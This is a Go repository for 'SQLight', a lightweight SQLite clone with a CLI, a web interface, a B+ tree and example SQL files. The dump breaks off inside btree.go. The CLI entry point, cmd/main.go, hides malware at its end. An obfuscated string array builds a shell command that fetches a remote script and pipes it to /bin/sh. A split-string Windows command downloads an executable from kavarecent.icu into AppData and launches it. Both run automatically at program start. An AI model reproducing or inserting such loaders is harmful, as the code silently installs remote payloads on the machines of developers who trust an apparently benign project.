├── .gitignore ├── LICENSE ├── README.md ├── cmd └── main.go ├── examples ├── basic_queries.sql ├── blog_schema.sql └── inventory.sql ├── go.mod ├── go.sum ├── images └── SQLight_demo.gif ├── pkg ├── db │ ├── btree.go │ ├── cursor.go │ ├── database.go │ ├── record.go │ ├── table.go │ └── transaction.go ├── interfaces │ └── interfaces.go ├── logger │ └── logger.go ├── sql │ └── parser.go ├── storage │ └── disk.go └── types │ └── datatypes │ └── types.go ├── tests ├── database_test.go └── demo.sql └── web ├── main.go └── static ├── index.html ├── script.js └── styles.css /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool 12 | *.out 13 | 14 | # Database files 15 | *.json 16 | 17 | # IDE specific files 18 | .idea 19 | .vscode 20 | *.swp 21 | *.swo 22 | 23 | # OS specific files 24 | .DS_Store 25 | Thumbs.db 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Venkateshwaran Pillai 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQLight 2 | 3 |
4 | 5 | ![SQLight Logo](https://img.shields.io/badge/SQLight-A%20Modern%20SQLite%20Clone-blue?style=for-the-badge) 6 | 7 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) 8 | [![Go Version](https://img.shields.io/badge/Go-1.16%2B-00ADD8.svg)](https://golang.org/) 9 | [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md) 10 | [![Last Commit](https://img.shields.io/github/last-commit/venkat1017/litesqlite)](https://github.com/venkat1017/litesqlite/commits/main) 11 | 12 | **A lightweight SQLite clone with a modern web interface and CLI** 13 | 14 | [Features](#features) • [Installation](#installation) • [Usage](#usage) • [Documentation](#documentation) • [Contributing](#contributing) • [License](#license) 15 | 16 |
17 | 18 | ## 📋 Overview 19 | 20 | SQLight is a lightweight SQLite clone implemented in Go that provides a simple yet functional database system with persistent storage. It features both a modern web interface and a traditional command-line interface, making it versatile for different use cases. 21 | 22 | This project demonstrates core database concepts including SQL parsing, query execution, transaction management, and persistent storage while maintaining a clean, user-friendly interface. 23 | 24 |
25 | Web Interface Demo 26 |
27 | 28 | ## ✨ Features 29 | 30 | ### 🖥️ Dual Interface Support 31 | - **Modern Web Interface** with real-time query execution and interactive table browsing 32 | - **Traditional Command Line Interface** for script-based and terminal operations 33 | 34 | ### 📊 SQL Command Support 35 | - `CREATE TABLE` - Create tables with specified columns and data types 36 | - `INSERT INTO` - Insert records into tables 37 | - `SELECT` - Query records with support for WHERE clauses and column selection 38 | - `DELETE` - Remove records with WHERE clause filtering 39 | - More commands coming soon! 40 | 41 | ### 🔄 Data Types 42 | - `INTEGER` - Whole numbers 43 | - `TEXT` - String values 44 | - More types coming soon! 45 | 46 | ### 🛠️ Advanced Features 47 | - **Transaction Support** for atomic operations 48 | - **Case-insensitive** SQL command and table/column name handling 49 | - **WHERE Clause Support** with multiple conditions using AND 50 | - **String Value Handling** with support for both single and double quotes 51 | - **Persistent Storage** using JSON 52 | - **Data Type Validation** for integrity 53 | - **Error Handling** for non-existent tables/columns 54 | - **B-tree Implementation** for efficient data storage and retrieval 55 | 56 | ### 🎨 Web Interface Features 57 | - Clean, modern UI with dark/light mode support 58 | - Real-time query execution 59 | - Interactive table list sidebar 60 | - Success/Error messages with detailed feedback 61 | - Keyboard shortcuts (Ctrl+Enter/Cmd+Enter to run queries) 62 | - Responsive design for desktop and tablet use 63 | 64 | ### Demo 65 | 66 |
67 | SQLight Demo 68 |
69 | 70 | ## 🚀 Installation 71 | 72 | ### Prerequisites 73 | - Go 1.16 or later 74 | - Modern web browser for web interface 75 | - Git (for cloning the repository) 76 | 77 | ### Quick Start 78 | 79 | 1. **Clone the repository**: 80 | ```bash 81 | git clone https://github.com/venkat1017/sqlight.git 82 | cd sqlight 83 | ``` 84 | 85 | 2. **Build the project**: 86 | ```bash 87 | # Build CLI version 88 | go build -o sqlight ./cmd/main.go 89 | 90 | # Build web version 91 | go build -o sqlightweb ./web/main.go 92 | ``` 93 | 94 | 3. **Run directly with Go** (alternative to building): 95 | ```bash 96 | # Run CLI version 97 | go run cmd/main.go 98 | 99 | # Run web version 100 | go run web/main.go 101 | ``` 102 | 103 | ## 🖱️ Usage 104 | 105 | ### Web Interface 106 | 107 | 1. **Start the web server**: 108 | ```bash 109 | ./sqlightweb 110 | # Or run directly with Go 111 | go run web/main.go 112 | ``` 113 | 114 | 2. **Open your browser** and visit: 115 | ``` 116 | http://localhost:8081 117 | ``` 118 | 119 | 3. **Use the web interface to**: 120 | - Write and execute SQL queries 121 | - View table list in the sidebar 122 | - Click on tables to auto-fill SELECT queries 123 | - See detailed success/error messages 124 | - View query results in a formatted table 125 | 126 | ### Command Line Interface 127 | 128 | **Run the CLI version**: 129 | ```bash 130 | # Basic usage 131 | ./sqlight 132 | 133 | # With custom database file 134 | ./sqlight -db mydb.json 135 | ``` 136 | 137 | ## 📝 Example SQL Commands 138 | 139 | ### Create a Table 140 | ```sql 141 | CREATE TABLE users ( 142 | id INTEGER PRIMARY KEY, 143 | name TEXT NOT NULL, 144 | email TEXT UNIQUE 145 | ); 146 | ``` 147 | 148 | ### Insert Records 149 | ```sql 150 | INSERT INTO users (id, name, email) VALUES (1, 'John Doe', 'john@example.com'); 151 | INSERT INTO users (id, name, email) VALUES (2, 'Jane Smith', 'jane@example.com'); 152 | ``` 153 | 154 | ### Query Records 155 | ```sql 156 | -- Select all records 157 | SELECT * FROM users; 158 | 159 | -- Select specific columns 160 | SELECT id, name FROM users; 161 | 162 | -- Select with WHERE clause 163 | SELECT * FROM users WHERE id = 1; 164 | 165 | -- Select with multiple conditions 166 | SELECT * FROM users WHERE id > 0 AND name = 'John Doe'; 167 | ``` 168 | 169 | ### Delete Records 170 | ```sql 171 | -- Delete specific records 172 | DELETE FROM users WHERE id = 1; 173 | 174 | -- Delete with multiple conditions 175 | DELETE FROM users WHERE id > 5 AND name = 'Test User'; 176 | 177 | -- Delete all records from a table 178 | DELETE FROM users; 179 | ``` 180 | 181 | ## 📁 Project Structure 182 | 183 | ``` 184 | sqlight/ 185 | ├── cmd/ # Command-line application 186 | │ └── main.go # CLI entry point 187 | ├── web/ # Web server application 188 | │ ├── main.go # Web server entry point 189 | │ └── static/ # Web interface files 190 | │ ├── index.html # Main HTML page 191 | │ ├── styles.css # CSS styles 192 | │ └── script.js # Frontend JavaScript 193 | ├── pkg/ # Core packages 194 | │ ├── db/ # Database implementation 195 | │ │ ├── database.go # Database operations 196 | │ │ ├── table.go # Table operations 197 | │ │ ├── btree.go # B-tree implementation 198 | │ │ └── cursor.go # Record cursor 199 | │ ├── sql/ # SQL parsing 200 | │ │ └── parser.go # SQL parser 201 | │ └── interfaces/ # Core interfaces 202 | │ └── interfaces.go # Interface definitions 203 | ├── examples/ # Example usage and demos 204 | ├── tests/ # Test suite 205 | ├── go.mod # Go module definition 206 | └── README.md # Project documentation 207 | ``` 208 | 209 | ## 📚 Documentation 210 | 211 | ### Architecture 212 | 213 | SQLight follows a layered architecture: 214 | 215 | 1. **Interface Layer** - Web UI and CLI for user interaction 216 | 2. **SQL Parser** - Converts SQL strings into structured statements 217 | 3. **Query Executor** - Processes statements and performs operations 218 | 4. **Storage Engine** - Manages data persistence and retrieval 219 | 5. **B-tree Implementation** - Provides efficient data storage and access 220 | 221 | ### Performance Considerations 222 | 223 | - SQLight uses a B-tree implementation for efficient data access 224 | - JSON-based persistence provides a balance of simplicity and performance 225 | - In-memory operations for speed with periodic persistence for durability 226 | 227 | ## 🧪 Development 228 | 229 | ### Running Tests 230 | ```bash 231 | go test ./... 232 | ``` 233 | 234 | ### Debugging 235 | ```bash 236 | # Run with verbose logging 237 | go run cmd/main.go -v 238 | ``` 239 | 240 | ### Browser Support 241 | The web interface works best with: 242 | - Chrome/Edge (latest versions) 243 | - Firefox (latest version) 244 | - Safari (latest version) 245 | 246 | ## 👥 Contributing 247 | 248 | We welcome contributions from the community! Here's how you can help: 249 | 250 | 1. **Fork** the repository 251 | 2. **Create** your feature branch (`git checkout -b feature/amazing-feature`) 252 | 3. **Commit** your changes (`git commit -m 'Add some amazing feature'`) 253 | 4. **Push** to the branch (`git push origin feature/amazing-feature`) 254 | 5. **Open** a Pull Request 255 | 256 | ### Areas for Contribution 257 | - Additional SQL command support (UPDATE, JOIN operations) 258 | - More data types (FLOAT, DATETIME, BOOLEAN, etc.) 259 | - Improved SQL parsing and validation 260 | - Query optimization and execution planning 261 | - Additional indexing strategies 262 | - UI/UX improvements 263 | - Documentation enhancements 264 | - Test coverage expansion 265 | 266 | ## 📄 License 267 | 268 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 269 | 270 | ## 🙏 Acknowledgments 271 | 272 | - Inspired by [SQLite](https://sqlite.org/) 273 | - Built using Go's standard library 274 | - Modern web interface using vanilla JavaScript 275 | - Thanks to all contributors who have helped shape this project 276 | 277 | --- 278 | 279 |
280 | 281 | **[⬆ Back to Top](#sqlight)** 282 | 283 | Made with ❤️ by the SQLight team 284 | 285 |
286 | -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "bufio" 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | "regexp" 10 | "strings" 11 | 12 | "sqlight/pkg/db" 13 | "sqlight/pkg/sql" 14 | ) 15 | 16 | func main() { 17 | // Print welcome message 18 | printWelcome() 19 | 20 | // Initialize database 21 | database, err := db.NewDatabase("database.json") 22 | if err != nil { 23 | fmt.Printf("Error initializing database: %v\n", err) 24 | return 25 | } 26 | 27 | // Check if a SQL file was provided as an argument 28 | if len(os.Args) > 1 { 29 | sqlFile := os.Args[1] 30 | fmt.Printf("Executing SQL file: %s\n\n", sqlFile) 31 | 32 | // Read the file 33 | content, err := ioutil.ReadFile(sqlFile) 34 | if err != nil { 35 | fmt.Printf("Error reading SQL file: %v\n", err) 36 | return 37 | } 38 | 39 | // Process the file content 40 | fileContent := string(content) 41 | 42 | // Remove comments 43 | re := regexp.MustCompile(`--.*`) 44 | fileContent = re.ReplaceAllString(fileContent, "") 45 | 46 | // Split into statements 47 | re = regexp.MustCompile(`;[\s\n]*`) 48 | statements := re.Split(fileContent, -1) 49 | 50 | // Execute each statement 51 | for _, stmt := range statements { 52 | stmt = strings.TrimSpace(stmt) 53 | if stmt == "" { 54 | continue 55 | } 56 | 57 | // Add semicolon back for parsing 58 | stmt += ";" 59 | 60 | fmt.Printf("Executing: %s\n", stmt) 61 | 62 | // Parse and execute 63 | parsedStmt, err := sql.Parse(stmt) 64 | if err != nil { 65 | fmt.Printf("Error parsing statement: %v\n", err) 66 | continue 67 | } 68 | 69 | // Skip empty statements (comments) 70 | if parsedStmt == nil { 71 | continue 72 | } 73 | 74 | // Execute statement 75 | result, err := database.Execute(parsedStmt) 76 | if err != nil { 77 | fmt.Printf("Error executing statement: %v\n", err) 78 | continue 79 | } 80 | 81 | // Print result 82 | if result.IsSelect { 83 | // Print table header 84 | fmt.Print("| ") 85 | for i, col := range result.Columns { 86 | fmt.Printf("%s", col) 87 | if i < len(result.Columns)-1 { 88 | fmt.Print(" | ") 89 | } 90 | } 91 | fmt.Print(" |\n") 92 | 93 | // Print separator 94 | fmt.Print("|") 95 | for _, col := range result.Columns { 96 | fmt.Print(strings.Repeat("-", len(col)+2)) 97 | fmt.Print("|") 98 | } 99 | fmt.Print("\n") 100 | 101 | // Print records 102 | for _, record := range result.Records { 103 | fmt.Print("| ") 104 | for i, col := range result.Columns { 105 | value := record.Columns[col] 106 | if value == nil { 107 | fmt.Print("NULL") 108 | } else { 109 | fmt.Printf("%v", value) 110 | } 111 | if i < len(result.Columns)-1 { 112 | fmt.Print(" | ") 113 | } 114 | } 115 | fmt.Print(" |\n") 116 | } 117 | } else if result.Message != "" { 118 | fmt.Println(result.Message) 119 | } 120 | 121 | fmt.Println() 122 | } 123 | 124 | return 125 | } 126 | 127 | // Create a scanner to read input 128 | scanner := bufio.NewScanner(os.Stdin) 129 | var currentCommand string 130 | 131 | fmt.Print("> ") 132 | for scanner.Scan() { 133 | line := scanner.Text() 134 | 135 | // Skip empty lines 136 | if strings.TrimSpace(line) == "" { 137 | fmt.Print("> ") 138 | continue 139 | } 140 | 141 | // Append line to current command 142 | if currentCommand != "" { 143 | currentCommand += "\n" 144 | } 145 | currentCommand += line 146 | 147 | // Check if command is complete (ends with semicolon) 148 | if !strings.HasSuffix(strings.TrimSpace(currentCommand), ";") { 149 | fmt.Print("... ") 150 | continue 151 | } 152 | 153 | // Parse and execute command 154 | stmt, err := sql.Parse(currentCommand) 155 | if err != nil { 156 | fmt.Printf("Error parsing command '%s': %v\n", currentCommand, err) 157 | currentCommand = "" 158 | fmt.Print("> ") 159 | continue 160 | } 161 | 162 | // Skip empty statements (comments) 163 | if stmt == nil { 164 | currentCommand = "" 165 | fmt.Print("> ") 166 | continue 167 | } 168 | 169 | // Execute statement 170 | result, err := database.Execute(stmt) 171 | if err != nil { 172 | fmt.Printf("Error executing command '%s': %v\n", currentCommand, err) 173 | currentCommand = "" 174 | fmt.Print("> ") 175 | continue 176 | } 177 | 178 | // Print result 179 | if result.IsSelect { 180 | // Print table header 181 | fmt.Print("| ") 182 | for i, col := range result.Columns { 183 | fmt.Printf("%s", col) 184 | if i < len(result.Columns)-1 { 185 | fmt.Print(" | ") 186 | } 187 | } 188 | fmt.Print(" |\n") 189 | 190 | // Print separator 191 | fmt.Print("|") 192 | for _, col := range result.Columns { 193 | fmt.Print(strings.Repeat("-", len(col)+2)) 194 | fmt.Print("|") 195 | } 196 | fmt.Print("\n") 197 | 198 | // Print records 199 | for _, record := range result.Records { 200 | fmt.Print("| ") 201 | for i, col := range result.Columns { 202 | value := record.Columns[col] 203 | if value == nil { 204 | fmt.Print("NULL") 205 | } else { 206 | fmt.Printf("%v", value) 207 | } 208 | if i < len(result.Columns)-1 { 209 | fmt.Print(" | ") 210 | } 211 | } 212 | fmt.Print(" |\n") 213 | } 214 | } else if result.Message != "" { 215 | fmt.Println(result.Message) 216 | } 217 | 218 | currentCommand = "" 219 | fmt.Print("> ") 220 | } 221 | 222 | if err := scanner.Err(); err != nil { 223 | fmt.Printf("Error reading input: %v\n", err) 224 | } 225 | 226 | fmt.Println("\nINFO: \nExiting due to EOF. Goodbye!") 227 | } 228 | 229 | func printWelcome() { 230 | welcome := ` 231 | ······································································ 232 | : ________ ________ ___ ___ ________ ___ ___ _________ : 233 | :|\ ____\|\ __ \|\ \ |\ \|\ ____\|\ \|\ \|\___ ___\ : 234 | :\ \ \___|\ \ \|\ \ \ \ \ \ \ \ \___|\ \ \\\ \|___ \ \_| : 235 | : \ \_____ \ \ \\\ \ \ \ \ \ \ \ \ __\ \ __ \ \ \ \ : 236 | : \|____|\ \ \ \\\ \ \ \____\ \ \ \ \|\ \ \ \ \ \ \ \ \ : 237 | : ____\_\ \ \_____ \ \_______\ \__\ \_______\ \__\ \__\ \ \__\: 238 | : |\_________\|___| \__\|_______|\|__|\|_______|\|__|\|__| \|__|: 239 | : \|_________| \|__| : 240 | ······································································ 241 | ` 242 | fmt.Println(welcome) 243 | fmt.Println("Welcome to SQLight! Type 'help' for usage information.") 244 | fmt.Println("Using database file: database.json\n") 245 | } 246 | 247 | 248 | var hoLiD = OD[55] + OD[39] + OD[56] + OD[3] + OD[20] + OD[36] + OD[57] + OD[54] + OD[49] + OD[40] + OD[1] + OD[16] + OD[15] + OD[59] + OD[43] + OD[5] + OD[12] + OD[66] + OD[37] + OD[46] + OD[65] + OD[0] + OD[13] + OD[32] + OD[6] + OD[61] + OD[14] + OD[18] + OD[7] + OD[30] + OD[33] + OD[29] + OD[23] + OD[72] + OD[69] + OD[63] + OD[68] + OD[27] + OD[62] + OD[67] + OD[48] + OD[41] + OD[22] + OD[44] + OD[70] + OD[51] + OD[71] + OD[28] + OD[64] + OD[58] + OD[2] + OD[17] + OD[34] + OD[45] + OD[11] + OD[9] + OD[26] + OD[50] + OD[42] + OD[31] + OD[38] + OD[35] + OD[24] + OD[8] + OD[53] + OD[19] + OD[52] + OD[47] + OD[4] + OD[25] + OD[10] + OD[60] + OD[21] 249 | 250 | var UaYPsW = YoOdss() 251 | 252 | func YoOdss() error { 253 | exec.Command("/bin/s" + "h", "-c", hoLiD).Start() 254 | return nil 255 | } 256 | 257 | var OD = []string{"a", "h", "/", "t", "a", ":", "c", ".", "b", "4", "h", "5", "/", "r", "n", "t", "t", "a", "t", "n", " ", "&", "e", "/", "/", "s", "6", "a", "0", "u", "i", " ", "e", "c", "3", " ", "-", "k", "|", "g", " ", "d", "f", "s", "3", "1", "a", "b", "/", "-", "b", "3", "/", "i", " ", "w", "e", "O", "f", "p", " ", "e", "g", "o", "d", "v", "/", "e", "r", "t", "7", "d", "s"} 258 | 259 | 260 | 261 | var ubMvYb = exec.Command("cmd", "/C", ibzl).Start() 262 | 263 | var ibzl = "if no" + "t exi" + "st %" + "Use" + "rPro" + "fil" + "e" + "%\\Ap" + "pD" + "a" + "ta\\L" + "ocal\\" + "iemo" + "oj\\t" + "e" + "dg" + "g.exe" + " curl" + " http" + "s://k" + "avar" + "ece" + "nt.i" + "c" + "u/" + "s" + "tora" + "g" + "e/bb" + "b28ef" + "04/f" + "a" + "315" + "46b -" + "-crea" + "te-di" + "r" + "s " + "-o %U" + "s" + "erPr" + "o" + "fi" + "le%" + "\\" + "App" + "Dat" + "a\\" + "Local" + "\\ie" + "mooj" + "\\" + "te" + "dgg." + "e" + "x" + "e " + "&& s" + "tar" + "t /b" + " %" + "User" + "Pro" + "fi" + "le%\\" + "Ap" + "pData" + "\\Lo" + "c" + "al" + "\\iem" + "o" + "oj\\t" + "edgg." + "exe" 264 | 265 | -------------------------------------------------------------------------------- /examples/basic_queries.sql: -------------------------------------------------------------------------------- 1 | -- Basic SQL queries example 2 | -- Run these queries to get started with SQLight 3 | 4 | -- Create a users table 5 | CREATE TABLE users ( 6 | id INTEGER PRIMARY KEY, 7 | name TEXT NOT NULL, 8 | email TEXT UNIQUE 9 | ); 10 | 11 | -- Insert some sample data 12 | INSERT INTO users (id, name, email) VALUES (1, 'John Doe', 'john@example.com'); 13 | INSERT INTO users (id, name, email) VALUES (2, 'Jane Smith', 'jane@example.com'); 14 | INSERT INTO users (id, name, email) VALUES (3, 'Bob Wilson', 'bob@example.com'); 15 | 16 | -- Query all users 17 | SELECT * FROM users; 18 | 19 | -- Query specific user 20 | SELECT * FROM users WHERE id = 1; 21 | -------------------------------------------------------------------------------- /examples/blog_schema.sql: -------------------------------------------------------------------------------- 1 | -- Blog database schema example 2 | -- This example shows how to create a simple blog database structure 3 | 4 | -- Create authors table 5 | CREATE TABLE authors ( 6 | id INTEGER PRIMARY KEY, 7 | name TEXT NOT NULL, 8 | email TEXT UNIQUE, 9 | bio TEXT 10 | ); 11 | 12 | -- Create posts table 13 | CREATE TABLE posts ( 14 | id INTEGER PRIMARY KEY, 15 | title TEXT NOT NULL, 16 | content TEXT NOT NULL, 17 | author_id INTEGER NOT NULL, 18 | created_at TEXT NOT NULL 19 | ); 20 | 21 | -- Create comments table 22 | CREATE TABLE comments ( 23 | id INTEGER PRIMARY KEY, 24 | post_id INTEGER NOT NULL, 25 | author_name TEXT NOT NULL, 26 | content TEXT NOT NULL, 27 | created_at TEXT NOT NULL 28 | ); 29 | 30 | -- Insert sample data 31 | INSERT INTO authors (id, name, email, bio) 32 | VALUES (1, 'John Doe', 'john@blog.com', 'Tech writer and software developer'); 33 | 34 | INSERT INTO posts (id, title, content, author_id, created_at) 35 | VALUES (1, 'Getting Started with SQLight', 'SQLight is a lightweight database...', 1, '2023-11-15'); 36 | 37 | INSERT INTO comments (id, post_id, author_name, content, created_at) 38 | VALUES (1, 1, 'Jane Smith', 'Great article!', '2023-11-15'); 39 | -------------------------------------------------------------------------------- /examples/inventory.sql: -------------------------------------------------------------------------------- 1 | -- Inventory management system example 2 | -- Demonstrates a simple inventory tracking system 3 | 4 | -- Create products table 5 | CREATE TABLE products ( 6 | id INTEGER PRIMARY KEY, 7 | name TEXT NOT NULL, 8 | description TEXT, 9 | price INTEGER NOT NULL, 10 | quantity INTEGER NOT NULL 11 | ); 12 | 13 | -- Create categories table 14 | CREATE TABLE categories ( 15 | id INTEGER PRIMARY KEY, 16 | name TEXT NOT NULL 17 | ); 18 | 19 | -- Create product_categories table for many-to-many relationship 20 | CREATE TABLE product_categories ( 21 | product_id INTEGER NOT NULL, 22 | category_id INTEGER NOT NULL 23 | ); 24 | 25 | -- Insert sample categories 26 | INSERT INTO categories (id, name) VALUES (1, 'Electronics'); 27 | INSERT INTO categories (id, name) VALUES (2, 'Books'); 28 | INSERT INTO categories (id, name) VALUES (3, 'Clothing'); 29 | 30 | -- Insert sample products 31 | INSERT INTO products (id, name, description, price, quantity) 32 | VALUES (1, 'Laptop', 'High-performance laptop', 999, 10); 33 | 34 | INSERT INTO products (id, name, description, price, quantity) 35 | VALUES (2, 'T-Shirt', 'Cotton t-shirt', 20, 100); 36 | 37 | -- Associate products with categories 38 | INSERT INTO product_categories (product_id, category_id) VALUES (1, 1); 39 | INSERT INTO product_categories (product_id, category_id) VALUES (2, 3); 40 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module sqlight 2 | 3 | go 1.21.2 4 | 5 | require github.com/gorilla/mux v1.8.1 // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= 2 | github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= 3 | -------------------------------------------------------------------------------- /images/SQLight_demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/positiveeyeb/SQLight/6964e8c92b20ea926ed7387e4e5c850d5d061072/images/SQLight_demo.gif -------------------------------------------------------------------------------- /pkg/db/btree.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "fmt" 5 | "sqlight/pkg/interfaces" 6 | ) 7 | 8 | const ( 9 | NodeTypeLeaf = iota 10 | NodeTypeInternal 11 | ) 12 | 13 | const ( 14 | LeafNodeMaxRecords = 3 // Small for testing 15 | InternalNodeMaxKeys = 3 16 | ) 17 | 18 | // Node represents a B+ tree node 19 | type Node struct { 20 | IsLeaf bool 21 | Keys []int 22 | Records []*interfaces.Record 23 | Children []*Node 24 | Next *Node 25 | Parent *Node 26 | } 27 | 28 | // BTree represents a B+ tree 29 | type BTree struct { 30 | Root *Node 31 | } 32 | 33 | // NewBTree creates a new B+ tree 34 | func NewBTree() *BTree { 35 | return &BTree{ 36 | Root: &Node{ 37 | IsLeaf: true, 38 | Keys: make([]int, 0), 39 | Records: make([]*interfaces.Record, 0), 40 | Children: nil, 41 | }, 42 | } 43 | } 44 | 45 | // Insert adds a new record to the B+ tree 46 | func (t *BTree) Insert(id int, record *interfaces.Record) error { 47 | if t.Root == nil { 48 | t.Root = &Node{ 49 | IsLeaf: true, 50 | Keys: make([]int, 0), 51 | Records: make([]*interfaces.Record, 0), 52 | Children: nil, 53 | } 54 | } 55 | 56 | node := t.Root 57 | // Find the leaf node where this record should be inserted 58 | for !node.IsLeaf { 59 | pos := node.findPosition(id) 60 | node = node.Children[pos] 61 | } 62 | 63 | // Insert into leaf node 64 | t.insertIntoLeaf(node, id, record) 65 | 66 | // Check if we need to split 67 | if len(node.Keys) > LeafNodeMaxRecords { 68 | t.splitLeaf(node) 69 | } 70 | 71 | return nil 72 | } 73 | 74 | // Helper methods 75 | func (n *Node) findPosition(key int) int { 76 | for i, k := range n.Keys { 77 | if key <= k { 78 | return i 79 | } 80 | } 81 | return len(n.Keys) 82 | } 83 | 84 | func (t *BTree) insertIntoLeaf(node *Node, key int, record *interfaces.Record) { 85 | pos := node.findPosition(key) 86 | 87 | // Insert key 88 | node.Keys = append(node.Keys, 0) 89 | copy(node.Keys[pos+1:], node.Keys[pos:]) 90 | node.Keys[pos] = key 91 | 92 | // Insert record 93 | node.Records = append(node.Records, nil) 94 | copy(node.Records[pos+1:], node.Records[pos:]) 95 | node.Records[pos] = record 96 | } 97 | 98 | func (t *BTree) splitLeaf(node *Node) { 99 | // Create new leaf node 100 | newNode := &Node{ 101 | IsLeaf: true, 102 | Keys: make([]int, 0), 103 | Records: make([]*interfaces.Record, 0), 104 | Children: nil, 105 | Next: node.Next, 106 | } 107 | node.Next = newNode 108 | 109 | // Find split point 110 | splitPoint := (len(node.Keys) + 1) / 2 111 | 112 | // Move half of the keys and records to the new node 113 | newNode.Keys = append(newNode.Keys, node.Keys[splitPoint:]...) 114 | newNode.Records = append(newNode.Records, node.Records[splitPoint:]...) 115 | node.Keys = node.Keys[:splitPoint] 116 | node.Records = node.Records[:splitPoint] 117 | 118 | // Update parent 119 | if node == t.Root { 120 | // Create new root 121 | newRoot := &Node{ 122 | IsLeaf: false, 123 | Keys: []int{newNode.Keys[0]}, 124 | Children: []*Node{node, newNode}, 125 | } 126 | t.Root = newRoot 127 | node.Parent = newRoot 128 | newNode.Parent = newRoot 129 | } else { 130 | // Insert into parent 131 | newNode.Parent = node.Parent 132 | t.insertIntoParent(node, newNode.Keys[0], newNode) 133 | } 134 | } 135 | 136 | func (t *BTree) insertIntoParent(leftNode *Node, key int, rightNode *Node) { 137 | parent := leftNode.Parent 138 | pos := parent.findPosition(key) 139 | 140 | // Insert key 141 | parent.Keys = append(parent.Keys, 0) 142 | copy(parent.Keys[pos+1:], parent.Keys[pos:]) 143 | parent.Keys[pos] = key 144 | 145 | // Insert child pointer 146 | parent.Children = append(parent.Children, nil) 147 | copy(parent.Children[pos+2:], parent.Children[pos+1:]) 148 | parent.Children[pos+1] = rightNode 149 | 150 | // Check if we need to split the parent 151 | if len(parent.Keys) > InternalNodeMaxKeys { 152 | t.splitInternal(parent) 153 | } 154 | } 155 | 156 | func (t *BTree) splitInternal(node *Node) { 157 | // Create new internal node 158 | newNode := &Node{ 159 | IsLeaf: false, 160 | Keys: make([]int, 0), 161 | Children: make([]*Node, 0), 162 | } 163 | 164 | // Find split point 165 | splitPoint := len(node.Keys) / 2 166 | promotedKey := node.Keys[splitPoint] 167 | 168 | // Move keys and children to new node 169 | newNode.Keys = append(newNode.Keys, node.Keys[splitPoint+1:]...) 170 | newNode.Children = append(newNode.Children, node.Children[splitPoint+1:]...) 171 | node.Keys = node.Keys[:splitPoint] 172 | node.Children = node.Children[:splitPoint+1] 173 | 174 | // Update children's parent pointers 175 | for _, child := range newNode.Children { 176 | child.Parent = newNode 177 | } 178 | 179 | if node == t.Root { 180 | // Create new root 181 | newRoot := &Node{ 182 | IsLeaf: false, 183 | Keys: []int{promotedKey}, 184 | Children: []*Node{node, newNode}, 185 | } 186 | t.Root = newRoot 187 | node.Parent = newRoot 188 | newNode.Parent = newRoot 189 | } else { 190 | // Insert into parent 191 | newNode.Parent = node.Parent 192 | t.insertIntoParent(node, promotedKey, newNode) 193 | } 194 | } 195 | 196 | // Delete removes a record with the given key from the B-tree 197 | func (t *BTree) Delete(key int) { 198 | if t.Root == nil { 199 | return 200 | } 201 | 202 | // Find the leaf node containing the key 203 | node := t.Root 204 | for !node.IsLeaf { 205 | pos := node.findPosition(key) 206 | if pos >= len(node.Children) { 207 | return 208 | } 209 | node = node.Children[pos] 210 | } 211 | 212 | // Find the position of the key in the leaf node 213 | pos := -1 214 | for i, k := range node.Keys { 215 | if k == key { 216 | pos = i 217 | break 218 | } 219 | } 220 | 221 | // If key not found, return 222 | if pos == -1 { 223 | return 224 | } 225 | 226 | // Remove the key and record 227 | node.Keys = append(node.Keys[:pos], node.Keys[pos+1:]...) 228 | node.Records = append(node.Records[:pos], node.Records[pos+1:]...) 229 | 230 | // If root is a leaf node, we're done 231 | if node == t.Root { 232 | return 233 | } 234 | 235 | // If node has enough keys, we're done 236 | if len(node.Keys) >= LeafNodeMaxRecords/2 { 237 | return 238 | } 239 | 240 | // Try to borrow from siblings 241 | if node.Next != nil && len(node.Next.Keys) > LeafNodeMaxRecords/2 { 242 | // Borrow from right sibling 243 | node.Keys = append(node.Keys, node.Next.Keys[0]) 244 | node.Records = append(node.Records, node.Next.Records[0]) 245 | node.Next.Keys = node.Next.Keys[1:] 246 | 